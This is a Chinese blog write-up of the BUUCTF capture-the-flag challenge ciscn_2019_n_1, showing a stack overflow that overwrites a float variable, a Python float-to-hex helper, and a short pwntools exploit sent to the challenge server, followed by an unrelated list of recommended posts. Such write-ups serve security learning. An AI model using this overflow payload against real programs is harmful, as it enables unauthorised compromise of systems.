pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
xxwl58510 小时前
区域赛算法模版第八章---贪心(Greedy)
c++·笔记·学习·算法
qq_2842740512 小时前
S7-1200 PLC硬件与启保停实训:CPU选型与DC/DC/DC、循环扫描五阶段、博途组态及电动机启停自锁梯形图(含考点)
笔记·学习·自动化·制造
dear_bi_MyOnly12 小时前
栈和队列:从原理到应用全解析
c语言·开发语言·c++·学习·分类
遇印记13 小时前
应用层,网络管理
运维·网络·windows·学习·安全
乌暮14 小时前
从 `println` 到生产级日志:Spring Boot 日志体系完全指南
java·开发语言·jvm·spring boot·后端·学习·面试
xian_wwq15 小时前
【学习笔记】Milvus 是什么?为什么 RAG 系统经常使用它?-14
笔记·学习·milvus
自信1504130575915 小时前
重生之从0开始学习c++之string(下)
c++·学习·stl
kmomo..15 小时前
Linux 驱动开发学习笔记:UART、触摸屏与 ADC 驱动实战
linux·驱动开发·学习
youdexiang16 小时前
如何建立个人学习资料库?
学习
人工智能培训16 小时前
具身智能环境交互与学习范式原理
大数据·linux·人工智能·学习·算法·机器学习